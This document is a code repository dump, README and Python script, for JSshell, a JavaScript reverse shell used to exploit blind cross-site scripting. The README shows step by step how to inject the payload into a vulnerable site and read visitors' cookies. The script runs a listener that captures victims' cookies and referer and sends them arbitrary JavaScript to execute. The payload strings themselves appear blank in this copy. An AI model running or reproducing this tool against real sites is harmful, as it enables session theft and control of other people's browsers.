├── README.md └── jsh.py /README.md: -------------------------------------------------------------------------------- 1 | # JSshell - version 3.1 2 | 3 | ![JSshell](https://user-images.githubusercontent.com/43073671/101387832-ec9f5380-38b6-11eb-9933-db5399cf0319.png) 4 | 5 | **JSshell** - a JavaScript reverse shell. This is used for executing JS code remotely, exploiting blind XSS, ... 6 | 7 | Requirements: Any OS + Python 2 or Python 3 8 | 9 | ### New in JSshell version 3.1 10 | Updated in the new version of JShell 3.1: 11 | 12 | - New JSshell command: `snippet` -> allows to write a snippet of javascript code 13 | 14 | ```sh 15 | >>> snippet 16 | Use CTRL+D to finish the snippet 17 | 18 | function new() { 19 | new = 'New update: Support javascript snippet =)'; 20 | confirm(new) 21 | } 22 | 23 | new() 24 | >>> 25 | ``` 26 | - Quiet mode (for professionals) 27 | - Added `` reverse shell payload 28 | - Fixed some bugs 29 | 30 | # Usage 31 | #### Generate JS reverse shell payloads: `-g` 32 | #### Set the local port number for listening and generating payloads (Default: 4848): `-p` 33 | #### Set the local source address for generating payloads (Default: auto-detect your IP address): `-s` 34 | #### Set timeout for shell connection (if the user exits the session, the shell will be paused forever, so if your set the timeout, the shell will be closed after exceeds the timeout): `-w` 35 | #### Execute a command after getting the shell: `-c` 36 | 37 | #### Example usages: 38 | - `jsh.py` 39 | - `jsh.py -g` 40 | - `jsh.py -p 1234` 41 | - `jsh.py -s 48.586.1.23 -g` 42 | - `jsh.py -c "alert(document.cookie)" -w 10` 43 | 44 | #### An example for running JSshell: 45 | This is a step-by-step example of how to use JSshell. 46 | 47 | First, we need to generate a reverse JS shell payload and set the shell timeout (e.g. 20 seconds): 48 | 49 | ``` 50 | ~# whoami 51 | root 52 | ~# ls 53 | README.md jsh.py 54 | ~# python3 jsh.py -g -w 20 55 | __ 56 | |(_ _ |_ _ | | 57 | \_|__)_> | |(/_ | | 58 | v1.0 59 | 60 | Payload: 61 | 62 | 63 | Listening on [any] 4848 for incoming JS shell ... 64 | ``` 65 | 66 | Now paste this payload to the website: 67 | 68 | `https://vulnwebs1te.com/b/search?q=` 69 | 70 | Access the page and we will have the reverse JS shell: 71 | 72 | ``` 73 | __ 74 | |(_ _ |_ _ | | 75 | \_|__)_> | |(/_ | | 76 | v1.0 77 | 78 | Payload: 79 | 80 | 81 | Listening on [any] 4848 for incoming JS shell ... 82 | Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848 83 | $ established 84 | $ the 85 | $ shell 86 | $ 87 | $ 88 | $ help 89 | JSshell using javascript code as shell commands. Also supports some commands: 90 | help This help 91 | exit, quit Exit the JS shell 92 | $ 93 | ``` 94 | Let execute some commands: 95 | 96 | ``` 97 | $ var test = 'controlled' 98 | $ confirm(test) 99 | $ 100 | ``` 101 | And an alert will be popped up: `controlled` 102 | 103 | ``` 104 | $ prompt(document.cookie) 105 | $ 106 | ``` 107 | And the browser will print the user cookies: `JSESSION=3bda8...` 108 | 109 | ``` 110 | $ exit 111 | ~# whoami 112 | root 113 | ~# pwd 114 | /home/shelld3v 115 | ~# 116 | ``` 117 | 118 | Now quited! 119 | 120 | 121 | # Author 122 | This is created by [shelld3v](https://twitter.com/shells3c_)! 123 | 124 | -------------------------------------------------------------------------------- /jsh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | import sys 4 | from requests import get 5 | import argparse 6 | 7 | 8 | red = '\033[1;31m' 9 | white = '\033[1;m' 10 | blue = '\033[1;34m' 11 | if sys.platform == 'win32': 12 | white = red = blue = '' 13 | 14 | if sys.version_info < (3, 0): 15 | input = raw_input 16 | 17 | banner = '''%s __ 18 | |(_ _ |_ _ | | 19 | \_|__)_> | |(/_ | | 20 | v3.1 21 | ''' % red 22 | hp = '''JSshell uses javascript code as shell commands. Also supports some commands: 23 | help This help 24 | domain The source domain 25 | pwd The source path 26 | cookie The user cookie 27 | snippet Write a snippet of code 28 | exit, quit Exit the JS shell''' 29 | 30 | 31 | parser = argparse.ArgumentParser(description='JSshell 3.1: javascript reverse shell') 32 | parser.add_argument('-g', help='generate JS reverse shell payloads', dest='gene', action='store_true') 33 | parser.add_argument('-p', help='port number (default: 4848)', dest='port', default=4848) 34 | parser.add_argument('-s', help='source address (or hostname)', dest='host', default='') 35 | parser.add_argument('-t', help='target to be used in payloads, default: [host]:[port] from -s and -p', dest='target', default=str()) 36 | parser.add_argument('-c', help='command to execute after get the shell', dest='command', default=str()) 37 | parser.add_argument('-w', help='timeout for shell connection', dest='secs', type=float, default=0) 38 | parser.add_argument('-q', help='quiet mode', dest='quiet', action='store_true') 39 | 40 | 41 | args = parser.parse_args() 42 | 43 | host = args.host 44 | target = args.target 45 | gene = args.gene 46 | cmd = args.command 47 | secs = args.secs 48 | 49 | try: 50 | port = int(format(args.port)) 51 | if not 0 <= port <= 65535: 52 | print('Invalid port: %s' % port) 53 | quit 54 | except: 55 | print('Invalid port: %s' % port) 56 | quit 57 | 58 | if target: 59 | source = target 60 | else: 61 | if not host: 62 | host = get('https://api.ipify.org').text 63 | 64 | source = "//{0}:{1}".format(host, port) 65 | 66 | if args.quiet: 67 | uprint = str 68 | else: 69 | uprint = print 70 | 71 | payload = ''' 72 | - SVG: 73 | - SCRIPT: 74 | - IMG: 75 | - BODY: 76 | '''.format(source) 77 | 78 | 79 | form = b'''HTTP/1.1 200 OK 80 | Content-Type: application/javascript 81 | Connection: close 82 | 83 | ''' 84 | 85 | 86 | def shell(): 87 | while 1: 88 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 89 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 90 | 91 | if secs != 0: 92 | s.settimeout(secs) 93 | buffer = input('%s>>>%s ' % (blue, white)) 94 | if buffer == 'exit' or buffer == 'quit': 95 | break 96 | try: 97 | if buffer[-1] in ['{', '(', '[']: 98 | openchar = buffer[-1] 99 | while 1: 100 | func = input(' ' * 10) 101 | buffer += '\n' + func 102 | try: 103 | if func[-1] == openchar: 104 | break 105 | except: 106 | pass 107 | except: 108 | pass 109 | 110 | s.bind(('0.0.0.0', port)) 111 | s.listen(0) 112 | 113 | try: 114 | c, a = s.accept() 115 | data = c.recv(2048) 116 | 117 | if buffer == 'help': 118 | print(hp) 119 | elif buffer == 'snippet': 120 | print('Use CTRL+D to finish the snippet') 121 | print() 122 | 123 | buffer = sys.stdin.read() 124 | elif buffer == 'domain': 125 | try: 126 | print(domain) 127 | except: 128 | print('Could not get the source domain because the referer has been disabled') 129 | elif buffer == 'pwd': 130 | try: 131 | print(pth) 132 | except: 133 | print('Could not get the source path because the referer has been disabled') 134 | elif buffer == 'cookie': 135 | try: 136 | print(cookie) 137 | except: 138 | print('Could not get the cookie because there is no cookie or because of other reasons') 139 | 140 | c.send(form + buffer.encode()) 141 | c.shutdown(socket.SHUT_RDWR) 142 | c.close() 143 | s.close() 144 | except KeyboardInterrupt: 145 | if sys.platform == 'win32': 146 | print('\nControl-C') 147 | s.close() 148 | break 149 | except Exception as msg: 150 | s.close() 151 | break 152 | 153 | def main(): 154 | global cookie 155 | global domain 156 | global pth 157 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 158 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 159 | 160 | try: 161 | s.bind(('0.0.0.0', port)) 162 | except socket.error as msg: 163 | print("Can't grab 0.0.0.0:%s with bind: %s" % (port, msg)) 164 | quit() 165 | 166 | uprint(banner) 167 | 168 | if gene: 169 | uprint('%sPayloads: %s' % (white, payload)) 170 | 171 | print('%sListening on [any] %s for incoming JS shell ...' % (white, port)) 172 | 173 | s.listen(2) 174 | 175 | try: 176 | c, addr = s.accept() 177 | resp = c.recv(1024).decode() 178 | except KeyboardInterrupt: 179 | if sys.platform == 'win32': 180 | print('\nControl-C') 181 | exit() 182 | except: 183 | s.close() 184 | main() 185 | 186 | if 'Accept' in resp and 'HTTP' in resp: 187 | print('Got JS shell from [%s] port %s to %s %s' % (addr[0], addr[1], socket.gethostname(), port)) 188 | if '?' in resp.split('\n')[0]: 189 | cookie = resp.split('\n')[0].split(' ')[1].split('?')[1] 190 | for line in resp.split('\n'): 191 | if 'referer' in line.lower(): 192 | referer = line[9:] 193 | domain = referer.split('//')[1] 194 | pth = '/'.join(referer.split('/')[3:]) 195 | if pth in ['', '\r']: 196 | pth = '/' 197 | if len(cmd): 198 | c.send(form + cmd.encode()) 199 | print('%s>>>%s %s' % (blue, white, cmd)) 200 | 201 | c.shutdown(socket.SHUT_RDWR) 202 | c.close() 203 | s.close() 204 | shell() 205 | 206 | else: 207 | s.close() 208 | main() 209 | 210 | 211 | main() 212 | --------------------------------------------------------------------------------